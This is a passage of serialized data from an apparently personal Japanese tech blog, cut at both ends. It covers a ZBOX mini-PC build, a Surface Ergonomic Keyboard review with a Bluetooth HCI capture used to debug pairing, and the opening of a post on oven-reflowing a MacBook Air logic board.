1070を搭載しています。\nメモリーも32GBまで搭載でき、小型PCとしては可もなく不可もなく、CPUがi5なところが少々気になりますが、LGAなので気になったときにi7-7700Tに換装することができます。\n<del>不満を挙げるとしたら、国内ではKaby Lakeモデルが発売されておらず、Amazon.comからの購入を余儀なくされることくらいでしょうか。</del>\n\n<Notice type=\"tip\">\n2017/6/23追記: 国内でも販売が開始されました。 [Amazon \\| ZOTAC MAGNUS EN1070K GTX1070搭載ゲーミングミニベアボーン PC3094 ZBOX-EN1070K-J \\| ベアボーンPC \\| パソコン・周辺機器 通販](https://www.amazon.co.jp/MAGNUS-EN1070K-GTX1070%E6%90%AD%E8%BC%89%E3%82%B2%E3%83%BC%E3%83%9F%E3%83%B3%E3%82%B0%E3%83%9F%E3%83%8B%E3%83%99%E3%82%A2%E3%83%9C%E3%83%BC%E3%83%B3-PC3094-ZBOX-EN1070K-J/dp/B071XHVHFK/ref=sr_1_1?ie=UTF8&tag=mzyy-22&qid=1498183756&sr=8-1&keywords=ZBOX-EN1070K-J)\n</Notice>\n\n## ZBOX EN1070K\n\nZBOX EN1070KをAmazon.comで買いました。これはベアボーンなので、CPUとGPU以外のパーツを揃える必要があります。\nいろいろ買った結果、以下の構成で仕上がりました。\n\n\n### 構成\n\n\n組んだマシンのパーツは以下の通りです。\n\nパーツ | 構成\n:----:|:----\n CPU | Intel Core i5-7500T\n GPU | Zotac GTX 1070 Mobile\n M/B | Zotac 1070/1060K/1060\n メモリー | [Crucial DDR4 SO-DIMM 32GB (16GBx2)](https://www.amazon.co.jp/Crucial-%E3%83%8E%E3%83%BC%E3%83%88%E7%94%A8%E3%83%A1%E3%83%A2%E3%83%AA%E3%83%BC-PC4-17000-Unbuffered-CT2K16G4SFD8213/dp/B015YPB8ME/ref=as_li_ss_tl?ie=UTF8&qid=1497684809&sr=8-1&keywords=ddr4+32gb+sodimm&linkCode=ll1&tag=mzyy-22&linkId=fffc5946e345484e81ebb1650f862249)\n M.2 NVMe | [Samsung 960 EVO 250GB](https://www.amazon.co.jp/dp/B01N1PMFNU/ref=as_li_ss_tl?ie=UTF8&qid=1497684864&sr=8-1&keywords=960+evo&linkCode=ll1&tag=mzyy-22&linkId=088b8b47faed41b80fb88bedd54bca0a)\n 2.5\" SATA | [Crucial MX300 275GB](https://www.amazon.co.jp/dp/B06XTGHQ3S/ref=as_li_ss_tl?_encoding=UTF8&psc=1&linkCode=ll1&tag=mzyy-22&linkId=e8bbc273bc345f7b117cacae71e7ac51)\n\n本体 15万円、メモリー2.7万円、ストレージが1.6万円と1万円で<b>合計20万円</b>をちょっと超えるくらいでした。\n\n\n## 軽くレビュー\n\n\n\nありふれた構成で最新の製品でもないので、一応記事の体裁を保つためにこの製品のおすすめポイントなどを紹介しておきます。\n\n### GeForce GTX VR Ready\n\n[GeForce GTX VR Ready プログラム - 最高のバーチャルリアリティーエクスペリエンス \\| NVIDIA \\| NVIDIA](http://www.nvidia.co.jp/object/vr-ready-program-jp.html)\n\nこの製品はNVIDIAのVR Readyプログラムで認定されたVRエクスペリエンスを最適化するように構成されたPCです。\nこのコンパクトさでVRが体験できるとあって、今後時期を見てOculus Riftでも購入しようかと思います。\n\n\n\n\n### 4Kゲーミングはあと一歩\n\n同様の構成でFull HDのベンチマークは数あれど、4Kのベンチマークがなかったので計測してみました。\n手持ちのものを中心にいろいろとベンチマークをとってみたところ、古いゲームなら4Kでも十分にパフォーマンスが出ることがわかりました。\nしかし最近のゲームではさすがにGTX 1070に4Kゲームはさせることは厳しいようです。\n\n\n#### バイオハザード5\n\n\n\n\n\n#### バイオハザード6\n\n\n\n\n\n#### FFXIV\n\n\n\n\n### 海外版でも技適マークあり\n\n海外の無線通信機器付属の製品を購入するときにいつも気にかけている特定無線設備の技術基準適合証明等のマーク。\nAmazon.comで購入できたのは型番ZBOX-EN1070K-Uで、日本で発売を予定されている型番ZBOX-EN1070K-Jではありません。\nしかし本体は共通のようで、底面には技適マークが書かれたシールが貼られています。\n\n\n\n### M.2 SSDクーラー\n\n発熱がものすごいNVMe SSDを冷やすため、M.2スロットに下駄を履かせる形で電源をとってCPUバックプレートにNVMeクーラーが装着されていました。\nSkylakeモデルではなかったものです。\n熱のこもりやすい底面にM.2 SSDスロットがあるため、大変うれしい仕様です。\n\n\n\n\nエアフローのない状態でもそこまで発熱をしないといわれている960 EVOですが、[CrystalDiskMark](http://crystalmark.info/software/CrystalDiskMark/)でベンチマークをとっている間は、最高61℃まで上昇しました。\n\n\n\n\n60℃程度なら許容範囲との声もありますが、気になったのでM.2 SSD専用放熱パッドを購入しました。\n\n<a href=\"https://www.amazon.co.jp/SilverStone-M-2-SSD%E5%B0%82%E7%94%A8%E6%94%BE%E7%86%B1%E3%83%91%E3%83%83%E3%83%89-SST-TP01-M2-%E6%97%A5%E6%9C%AC%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E5%93%81/dp/B06WWM64VJ/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=6ec149036279b48edf26a1ac50c886bd\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B06WWM64VJ&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" /></a>\n\n[Amazon \\| SilverStone M.2 SSD専用放熱パッド 2枚組 SST-TP01-M2 日本正規代理店品](https://www.amazon.co.jp/SilverStone-M-2-SSD%E5%B0%82%E7%94%A8%E6%94%BE%E7%86%B1%E3%83%91%E3%83%83%E3%83%89-SST-TP01-M2-%E6%97%A5%E6%9C%AC%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E5%93%81/dp/B06WWM64VJ/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=4a99c560410b4a60662d8b4b65097e5c)\n\n\nこれを装着した状態で同様のベンチマークをしたところ、最高56℃まで下がりました。\n\n\n\nついでなので960 EVOのベンチマーク結果貼っておきますね。\n\n\n\n## まとめ\n\n4Kディスプレイでゲーミングするには品質を下げる必要がありますが、そもそもそんなに画質を求めるようなゲームはやらないのであまり問題ではありませんでした。\nひとまずこれで機械学習の環境は整ったので、[NVIDIA cuDNN](https://developer.nvidia.com/cudnn)で遊んでみようかと思います。\n言い忘れていましたが、2.5インチ SSDには機械学習の環境を構築しました。\n"]}],[0,{"slug":[0,"2017/07/05/surface-ergonomics-keyboard/"],"data":[0,{"title":[0,"Surface Ergonomic Keyboardに乗り換えた"],"date":[3,"2017-07-05T12:40:08.000Z"],"image":[0,"/assets/images/2017/07/05/surface_ergonomic_keyboard.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Gadget"]]],"tags":[1,[[0,"ergonomics"],[0,"keyboard"]]]}],"content":[0,"\n昨年の同じ時期に話題になり始めていたエルゴノミクスキーボード。\n数年前の[ErgoDox](https://www.ergodox.io/)の登場に沸き、口コミを通してSNSでは[ErgoDox EZ](https://ergodox-ez.com/)を購入して人生が変わったとの声が多くありました。\n特にこのErgoDox EZはリストレストが標準構成で付属しており、とても快適に使えているのを目にして妬ましく思っていました。\n昔からエルゴノミクスキーボードには関心がありましたが、以前どこかに書いたようにキーボードにこだわりがあるため、一般入手性の高いものは買えないでいました。\nそんなこんなで年月が経ち、Surface Ergonomic Keyboardが発売されていたので買いました。\n肩こりも治り、進捗がとても出るようになりましたが、いろいろと苦労した点もいくつかありました。\n\n## 目次\n\n\n## エルゴノミクスキーボード選び\n\nエルゴノミクスキーボードはあまり安価ではないので、慎重に選ぶ必要があります。\n前にも書いた気もしますが、キーボードを購入するときにこだわっている点があります。\n\n- US配列\n- アイソレーションキーボード\n- テンキーなし\n- 左下がCtrlキー\n\n上にあるものほど優先度が高く、特にUS配列であることとアイソレーションであることは変更できない点であるため、必須の条件として挙げていました。\nこれに加えてエルゴノミクスキーボードを購入するにあたって、追加でこだわりたいポイントとして、 __分離した左右の間にダサい配線がないこと__。\n近頃話題のメカニカル式のエルゴノミクスキーボードを見ると、どれも左右間をつなぐダサいケーブルが生えていて少々不快に思っていました。\n\n### Sculpt Ergonomic Keyboard\n\n<a href=\"https://www.amazon.co.jp/dp/B00EN3DSS6/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=48dce6f009c07a4e7a8371be9ecbde41\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00EN3DSS6&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n\nこれらの条件を満たしたキーボードとして、数年前から気になっていたのが[Sculpt Ergonomic Keyboard](https://www.amazon.co.jp/dp/B00EN3DSS6/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=48dce6f009c07a4e7a8371be9ecbde41)。\nしかし店頭で実物を触ってみると、キートップが変に丸みがかっており思いのほかチープであったのと、エンターキーの右にあるマイナーなキーのせいで「ッターン!」が失敗することが気になったため、\nよりよい物が登場するのを待っていました。\n\n\n### Surface Ergonomic Keyboard\n\nそして昨年下旬に __米Microsoft__ がSculpt Ergonomic Keyboardの後継にあたるSurface Ergonomic Keyboardを発売しました。\n\n<a href=\"https://www.amazon.co.jp/Surface-Ergonomic-%E3%82%AD%E3%83%BC%E3%83%9C%E3%83%BC%E3%83%89-%E8%8B%B1%E5%AD%97%E3%82%AD%E3%83%BC%E9%85%8D%E5%88%97/dp/B06VXX3H45/ref=as_li_ss_il?s=computers&ie=UTF8&qid=1499255587&sr=1-2&keywords=surface+ergonomic&linkCode=li3&tag=mzyy-22&linkId=e554f68dca6cc622c330a4ab5aca9807\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B06VXX3H45&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n重要なこだわりポイントは満たしているものの、テンキーがありコンパクトさに欠けるのが短所ではありますが、\nSculpt Ergonomic Keyboardのようなチープなキートップや「ッターン!」を邪魔するエンターキーの右のマイナーなキーがなかったりと、\nとても魅力的なエルゴノミクスキーボードです。\n加えて高く評価したいのが、Alcantara素材を採用したリストレストが一体となっている点。\n机と手首の接地面が気になってしかたない体質なので、家でも職場でもアームレストを使っているので、このこだわりの一体型リストレストはとても好感が持てます。\n\n<a href=\"https://www.amazon.co.jp/%E3%82%B5%E3%83%B3%E3%83%AF%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4-TOK-MU3NBK-%E3%82%AD%E3%83%BC%E3%83%9C%E3%83%BC%E3%83%89%E7%94%A8%E4%BD%8E%E5%8F%8D%E7%99%BA%E3%83%AA%E3%82%B9%E3%83%88%E3%83%AC%E3%82%B9%E3%83%88-%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF/dp/B00OAZ7U8G/ref=as_li_ss_il?ie=UTF8&qid=1498639868&sr=8-1&linkCode=li2&tag=mzyy-22&linkId=1312514322859ce904b44df375686e53\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00OAZ7U8G&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n[Amazon \\| サンワサプライ キーボード用低反発リストレスト(ブラック) TOK-MU3NBK \\| パソコン・周辺機器 \\| パソコン・周辺機器 通販](https://www.amazon.co.jp/%E3%82%B5%E3%83%B3%E3%83%AF%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4-TOK-MU3NBK-%E3%82%AD%E3%83%BC%E3%83%9C%E3%83%BC%E3%83%89%E7%94%A8%E4%BD%8E%E5%8F%8D%E7%99%BA%E3%83%AA%E3%82%B9%E3%83%88%E3%83%AC%E3%82%B9%E3%83%88-%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF/dp/B00OAZ7U8G/ref=sr_1_1?ie=UTF8&tag=mzyy-22&qid=1498639868&sr=8-1)\n\n\nすこし気になったのは、はたして日本マイクロソフトがこの製品を取り扱ってくれるのか。\n日頃の行いを見ていると半年から1年は待たされることとなるとあって、Amazon.comから個人輸入してしまえばいいやくらいに考えていました。\n例にもれず半年後の今年3月に日本マイクロソフトが _US配列_ も含めて取り扱いを始めました。\n日本語配列も取り扱っていましたが、変則配列とは言わないまでも、バックスペースとエンターキーが極小であったりと、\n<del>日本人をなめきったゴミ配列</del>これまで通りの日本マイクロソフトらしい仕様のようです。\n\n[Surface Ergonomic Keyboard 本日より発売 - Windows Blog for JapanWindows Blog for Japan](https://blogs.windows.com/japan/2017/03/03/surface-ergonomic-keyboard/)\n\n[Surface Ergonomic キーボード 英字キー配列 を購入 - Microsoft ストア 日本](https://www.microsoft.com/ja-jp/store/d/Surface-Ergonomic/90PNC9LJWPX9/959D)\n\n<a href=\"https://click.linksynergy.com/fs-bin/click?id=fUSw4lglgFk&offerid=454119.10&type=3&subid=0\" >Surface 用アクセサリ</a><img border=\"0\" width=\"1\" height=\"1\" src=\"https://ad.linksynergy.com/fs-bin/show?id=fUSw4lglgFk&bids=454119.10&type=3&subid=0\" >\n\nちょうどApple Wireless Keyboardを使い続けていて肩こりを感じてきたところだったので、Surfade Ergonomic Keyboard US配列を購入しました。\n\n## Surface Ergonomic Keyboard買った\n\n\n\n\nやっぱりテンキーがあるだけあって、でかいです。これは気にしなければいいことなので、気にしないことにしました。\nErgoDox EZのレビューを見ていてあこがれていたキーボード専用設計のリストレストがこのキーボードでは一体型となっていて、\nこれまで使ってきた[サンワサプライのリストレスト](https://www.amazon.co.jp/%E3%82%B5%E3%83%B3%E3%83%AF%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4-TOK-MU3NBK-%E3%82%AD%E3%83%BC%E3%83%9C%E3%83%BC%E3%83%89%E7%94%A8%E4%BD%8E%E5%8F%8D%E7%99%BA%E3%83%AA%E3%82%B9%E3%83%88%E3%83%AC%E3%82%B9%E3%83%88-%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF/dp/B00OAZ7U8G/ref=sr_1_1?ie=UTF8&tag=mzyy-22&qid=1498639868&sr=8-1)とは比べ物にならないほど肌ざわりもとてもよく満足のいくものです。\nこだわりのAlcantara素材にすっかりはまってしまったので、トラックパッド側にも同様の手触りのものをと求め探し見つけたのが[アルカンターラ素材のマウスパッド](https://www.amazon.co.jp/OMP08-Torino-%E3%83%9E%E3%82%A6%E3%82%B9%E3%83%91%E3%83%83%E3%83%89-%E3%82%A2%E3%83%AB%E3%82%AB%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%A9-%E3%82%B9%E3%82%A8%E3%83%BC%E3%83%89%E3%82%BF%E3%83%83%E3%83%81/dp/B017CT9GT2/ref=as_li_ss_tl?ie=UTF8&qid=1499255720&sr=8-3&keywords=%E3%82%A2%E3%83%AB%E3%82%AB%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%A9+%E3%83%9E%E3%82%A6%E3%82%B9%E3%83%91%E3%83%83%E3%83%89&linkCode=ll1&tag=mzyy-22&linkId=e9d4a609d95edc873c10060d976e847c)。\nAmazon.co.jpで購入可能だったマウスパッドは、幅がちょうどMagic Trackpad 2の横幅と同じ160mm。\nジャストサイズだったので置いた時の見た目がとても美しく、肌触りもよくとても快適に作業できるようになりました。\n\n\n\n[Amazon \\| OMP08 - Torino マウスパッド エクセーヌ アルカンターラ スエードタッチ グレー \\| マウスパッド \\| パソコン・周辺機器 通販](https://www.amazon.co.jp/OMP08-Torino-%E3%83%9E%E3%82%A6%E3%82%B9%E3%83%91%E3%83%83%E3%83%89-%E3%82%A2%E3%83%AB%E3%82%AB%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%A9-%E3%82%B9%E3%82%A8%E3%83%BC%E3%83%89%E3%82%BF%E3%83%83%E3%83%81/dp/B017CT9GT2/ref=as_li_ss_tl?ie=UTF8&qid=1499255720&sr=8-3&keywords=%E3%82%A2%E3%83%AB%E3%82%AB%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%A9+%E3%83%9E%E3%82%A6%E3%82%B9%E3%83%91%E3%83%83%E3%83%89&linkCode=ll1&tag=mzyy-22&linkId=e9d4a609d95edc873c10060d976e847c)\n\n先代の購入を見送った理由の一つであるキートップも、照りがかかるような中央のへこんだ変なカーブもなく、よりフラットになりとても好みとマッチしています。\n最上段のF1からF12のキーはCtrlキーの隣のFnキーによって、それらのボタンをFunctionキーとして使用するか、メディアキーとして使うかを __トグル__ できます。\nFnキーとの同時押しをしなくてもよく、Functionキーとしての使用するようにしている場合は小さくLEDが点灯するのも、接続状態の確認も兼ねられるのでちょっとしたお気に入りポイントです。\n1か月間使用してみて、自然な膨らみのあるカーブのおかげで、脇を閉め窮屈に肩を縮めてタイプする必要もなくなり、肩こりを感じなくなりました。\n\n\n\n## BLE接続トラブル\n\nMacBook AirのmacOS Sierraで常用していたのですが、[前回の記事](../2017/2017-06-17-new-main-pc.md)で紹介したZBOXを購入後、Windows 10に試しに繋げてみた後のこと。\nそのあとすぐはmacOSでも使えていたのでマルチペアリングもできるのかと思っていたのですが、しばらくして繋がらなくなりました。\nこのときはMacBook Air側のBluetoothの不調を疑い、PRAMとNVRAMリセットとメニューバーのBluetoothからデバッグ⇒Bluetoothモジュールをリセット で初期化を行いました。\nそして再度ペアリングを試みるも、周辺のBluetooth機器一覧には表示されるもののPINの入力ダイアログが表示されず、ペアリングができない状況になってしまいました。\n\n原因を探るため、Bluetooth HCIをキャプチャしたところ、次のようにConnectionコマンドが失敗していることがわかりました。\n\n<pre class=\"highlight code\"><code>\nFrame 31: 28 bytes on wire (224 bits), 28 bytes captured (224 bits)\n Encapsulation type: Bluetooth without transport layer (102)\n Arrival Time: Apr 25, 1986 11:54:00.818645000 DST\n [Time shift for this packet: 0.000000000 seconds]\n Epoch Time: 514781640.818645000 seconds\n [Time delta from previous captured frame: 0.001059000 seconds]\n [Time delta from previous displayed frame: 0.000000000 seconds]\n [Time since reference or first frame: 34359.823557000 seconds]\n Frame Number: 31\n Frame Length: 28 bytes (224 bits)\n Capture Length: 28 bytes (224 bits)\n [Frame is marked: False]\n [Frame is ignored: False]\n [Protocols in frame: bluetooth:hci_h1:bthci_cmd]\n Point-to-Point Direction: Received (1)\nBluetooth\nBluetooth HCI H1 Rcvd HCI Command\n [Direction: Rcvd (1)]\nBluetooth HCI Command - LE Create Connection\n <span class=\"kd\">Command Opcode: LE Create Connection (0x200d)</span>\n 0010 00.. .... .... = Opcode Group Field: LE Controller Commands (0x0008)\n .... ..00 0000 1101 = Opcode Command Field: LE Create Connection (0x000d)\n Parameter Total Length: 25\n Scan Interval: 96 (60 msec)\n Scan Window: 48 (30 msec)\n Initiator Filter Policy: Use White List. Ignore Peer Address (0x01)\n Peer Address Type: Public Device Address (0x00)\n BD_ADDR: 00:00:00_00:00:00 (00:00:00:00:00:00)\n Own Address Type: Public Device Address (0x00)\n Connection Interval Min: 6 (7.5 msec)\n Connection Interval Max: 12 (15 msec)\n Connection Latency: 0 (number events)\n Supervision Timeout: 200 (2 sec)\n Min CE Length: 4 (2.5 msec)\n Max CE Length: 6 (3.75 msec)\n\nFrame 32: 6 bytes on wire (48 bits), 6 bytes captured (48 bits)\n Encapsulation type: Bluetooth without transport layer (102)\n Arrival Time: Apr 25, 1986 11:54:00.819532000 DST\n [Time shift for this packet: 0.000000000 seconds]\n Epoch Time: 514781640.819532000 seconds\n [Time delta from previous captured frame: 0.000887000 seconds]\n [Time delta from previous displayed frame: 0.000887000 seconds]\n [Time since reference or first frame: 34359.824444000 seconds]\n Frame Number: 32\n Frame Length: 6 bytes (48 bits)\n Capture Length: 6 bytes (48 bits)\n [Frame is marked: False]\n [Frame is ignored: False]\n [Protocols in frame: bluetooth:hci_h1:bthci_evt]\n Point-to-Point Direction: Sent (0)\nBluetooth\nBluetooth HCI H1 Sent HCI Event\n [Direction: Sent (0)]\nBluetooth HCI Event - Command Status\n Event Code: Command Status (0x0f)\n Parameter Total Length: 4\n <span class=\"cd\">Status: Command Disallowed (0x0c)</span>\n Number of Allowed Command Packets: 1\n Command Opcode: LE Create Connection (0x200d)\n 0010 00.. .... .... = Opcode Group Field: LE Controller Commands (0x0008)\n .... ..00 0000 1101 = Opcode Command Field: LE Create Connection (0x000d)\n [Command in frame: 31]\n [Command-Response Delta: 0.887 ms]\n</code></pre>\n\nホストからのLE Create Connectionをコントローラーが拒否したため、Initiating Stateに移行できずにペアリングが失敗しているようです。\n\n[Technical Considerations \\| Bluetooth Technology Website](https://www.bluetooth.com/specifications/bluetooth-core-specification/technical-considerations)\n\nこうなると解決する方法として思いつくのがコントローラーのリセットですが、Surface Ergonomic Keyboardにはたくさんボタン(キー)があるものの、\n設定を変更できそうなのはペアリングボタンしかあらず、どのような押し方をしてもそのボタンではリセットはできませんでした。\n揮発性メモリに設定データが保存されている可能性(そんなことあるのか?)を考え、電池を外して丸3日置いても変わらず。\nいろいろとごにょごにょしていたところ、Windows 10でのペアリングを解除し、再度macOS Sierraでペアリングを試みたところ、\n無事PIN入力画面が現れてペアリングすることができました。\n\n確かに公式にはマルチペアリングに対応しているという旨は書かれていないので、このキーボードは1台のセントラルに対してのみペリフェラルになれるというのが実際の挙動のようです。<u>要するに、マルチペアリング非対応。</u>\n一度2つの環境で繋がって動作していたがために、解決まで1週間を費やしてしまったのを後悔しています。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">かれこれ1週間ずっとこれと戦ってた <a href=\"https://t.co/koPsgI9Akb\">https://t.co/koPsgI9Akb</a></p>&mdash; サーバルちゃん@2日目東D-12a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/878671029131911169\">2017年6月24日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n## キーマップ\n\nSurface Ergonomic KeyboardにはSurfaceと名のあるだけあって、Windowsで便利に使えるメディアキーとホットキーが最上段にあります。\n先にちょっと紹介したF1からF12までにあるメディアキーは、いくつかそのままmacOSでも使えるものもあるものの、他はWindowsのショートカットキーなどに割り当てられていました。\nmacOSでは、以下のように認識されました。\n\n\n<dl>\n<dt>F1 - Mute</dt>\n<dd><kbd>mute</kbd></dd>\n\n<dt>F2 - Volume -</dt>\n<dd><kbd>volume_decrement</kbd></dd>\n\n<dt>F3 - Volume +</dt>\n<dd><kbd>volume_increment</kbd></dd>\n\n<dt>F4 - Previous Track</dt>\n<dd><kbd>rewind</kbd></dd>\n\n<dt>F5 - Pause/Play</dt>\n<dd><kbd>play_or_pause</kbd></dd>\n\n<dt>F6 - Next Track</dt>\n<dd><kbd>fastforward</kbd></dd>\n\n<dt>F7 - Display Brightness -</dt>\n<dd><kbd>display_brightness_decrement</kbd></dd>\n\n<dt>F8 - Display Brightness +</dt>\n<dd><kbd>display_brightness_increment</kbd></dd>\n\n<dt>F9 - Search</dt>\n<dd><kbd>LWin</kbd> + <kbd>RShift</kbd></dd>\n\n<dt>F10 - Task View</dt>\n<dd><kbd>LWin</kbd> + <kbd>Tab</kbd></dd>\n\n<dt>F11 - Connect</dt>\n<dd><kbd>LWin</kbd> + <kbd>RCtrl</kbd></dd>\n\n<dt>F12 - Settings</dt>\n<dd><kbd>LWin</kbd></dd>\n\n<dt>PrtScr</dt>\n<dd><kbd>F13</kbd></dd>\n\n<dt>Calculator</dt>\n<dd>n/a</dd>\n\n<dt>Show Desktop</dt>\n<dd><kbd>LWin</kbd> + <kbd>D</kbd></dd>\n\n<dt>Action Center</dt>\n<dd><kbd>LWin</kbd> + <kbd>RShift</kbd> + <kbd>RAlt</kbd></dd>\n\n<dt>Screen Lock</dt>\n<dd><kbd>LWin</kbd> + <kbd>L</kbd></dd>\n</dl>\n\n\nメディアキーはそのままシステムキーとして利用できますが、ホットキーはそのままでは使えないので、\n[Hammerspoon](http://www.hammerspoon.org/)を使って一部ホットキーが動くようにしました。\n\n<script src=\"https://gist.github.com/mzyy94/20f0cea78187459dffa6d55e94298033.js?file=init.lua\"></script>\n\n\n## まとめ\n\n昨年1月に4Kディスプレイを導入し作業環境の拡大を行い、今年1月にFull HDディスプレイを追加して広大な作業場を確保しました。\nそして今回キーボードを新調して理想の作業環境を手に入れることができました。\n\n\n\n正面のディスプレイは[去年1月に紹介した](../2016/2016-01-10-42inch-4k-display.md) [WASABI MANGO UHD420 REAL 4K HDMI 2.0](https://www.amazon.co.jp/s/ref=as_li_ss_tl?sf=qz&rh=i:computers,k:WASABI+MANGO+REAL+4K&keywords=WASABI+MANGO+REAL+4K&unfiltered=1&ie=UTF8&qid=1499256622&linkCode=ll2&tag=mzyy-22&linkId=3410f241625cc0e0a746caa5bac537e5)、\n右の縦置きFull HDディスプレイは[Philips 25型 257E7QDSB/11](https://www.amazon.co.jp/Philips-25%E5%9E%8B%E3%83%AF%E3%82%A4%E3%83%89%E6%B6%B2%E6%99%B6%E3%83%87%E3%82%A3%E3%82%B9%E3%83%97%E3%83%AC%E3%82%A4-AH-IPS%E3%83%91%E3%83%8D%E3%83%AB-257E7QDSB-11/dp/B0109FQXME/ref=as_li_ss_tl?ie=UTF8&qid=1499256789&sr=8-1&keywords=B0109FQXME&linkCode=ll1&tag=mzyy-22&linkId=ecb36ae178e02442a770dc90f93569bf)です。\nMagic Trackpad 2の隣にあるのは、けものフレンズのGentoo Penguinジェーンの陶器コースターです。\n\nコースター含め、とても居心地のよい作業環境が構築できました。\n自然にタイプできるエルゴノミクスキーボードがここまで快適だとは予想もしていませんでした。\nおすすめです。\n"]}],[0,{"slug":[0,"2017/09/15/baked-apple/"],"data":[0,{"title":[0,"MacBook Airをオーブンで焼きリンゴ(修理)"],"date":[3,"2017-09-14T15:40:29.000Z"],"image":[0,"/assets/images/2017/09/15/baking.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Gadget"]]],"tags":[1,[[0,"apple"],[0,"baking"],[0,"macbookair"]]]}],"content":[0,"\n\n夏も終わりを迎えた頃、突然MacBook Airが起動しなくなった。気温が高く湿気が多い日本の夏。仕様の動作上限温度35℃、上限相対湿度90%を超えかねないため、致死には十分な環境である。\n\n[MacBook Air - 仕様 - Apple(日本)](https://www.apple.com/jp/macbook-air/specs/)\n\nさて、壊れたので修理に出そうと思い立ちApple Store銀座に出向いたのだが、ジーニアスバーでの見積もりはロジックボードの不調で53,000円とのことであった。\n2013年のモデルを修理するために、2017年モデルの新品購入価格の半額ほどの価格を投資するのは考え物である。\nましてやiPhone Xの半分の性能だ。\nおまけにバッテリーにも問題が予見されるとあって、総コストを考えると今後数年間にわたって使い続けるより、新しいモデルを買ったほうが良いと購入を促された。\nそして修理は諦め、自分でなんとかする方法を模索することにした。\n\n## 目次\n\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">MacBook Air Mid2013、歴代のMacBookシリーズの中で一番ロジックボード修理代金が高いようで、53,000円+税と言われたのでオーブンに放り込むことが決定した</p>&mdash; ふぇねっくのやべーやつ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/902800288242843649\">2017年8月30日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n## 故障の症状について\n\n今回故障した症状としては、起動時に警告音が以下のように3回鳴るのを繰り返し、一切のOS起動シーケンスに突入しないというものであった。\n\n<blockquote class=\"twitter-video\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">うーん 焼くしかないか <a href=\"https://t.co/ieZUMeXdCL\">pic.twitter.com/ieZUMeXdCL</a></p>&mdash; ふぇねっくのやべーやつ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/908327245885747200\">2017年9月14日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n何かしらの診断機能が起動時にハードウェアをテストし、動作条件に満たない不具合が見つかったことを知らせているのだと推測できる。\n\n## 故障原因の特定\n\nジーニアスバーでは単にロジックボードの故障と告げられたが、バックヤードでの故障確認をしたとの会話の中で、次のような発言があった。\n\n> こういう症状の場合、メモリが取り外せるモデルだったらメモリ交換で治ることがあるんですが、このモデルはオンボードメモリなのでやっぱりロジックボードごと交換する必要がありますね。\n\nとぼとぼと家に帰りこの言葉を思い出したのでいろいろと調べてみたところ、症状と合致するApple公式サポート記事が見つかった。\n\n[電源投入自己テストでのビープ音について - Part 2 - Apple サポート](https://support.apple.com/ja-jp/HT1547)\n\n起動時の警告音の回数と、上記のサポートサイトの記事により、メモリバンクの不調が原因とみられる。\nこれまでMacBook Airを適当な運搬や落下等の過酷な利用をしていたため、メモリバンクの不調の根本的な原因はBGAのはんだクラックと仮定した。\n\n\n## ベイクドMacBook Air\n\n### ベイクドGPUとの出会い\n\n2014年の夏、Kernel/VM探検隊@北陸1に参加したのが出会いのきっかけであった。遠く北陸は金沢まで夜行バスで到達し、疲弊しているところに初っ端からぶっ飛んだプレゼンテーションを見聞きしたため鮮明に覚えている。\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/H4qTVgGeZbXDZd?startSlide=2\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/naotokawahara3/alongtimeagoin-tottori-web\" title=\" ベイクドGPU Kernel/VM北陸1\" target=\"_blank\"> ベイクドGPU Kernel/VM北陸1</a> </strong> from <strong><a 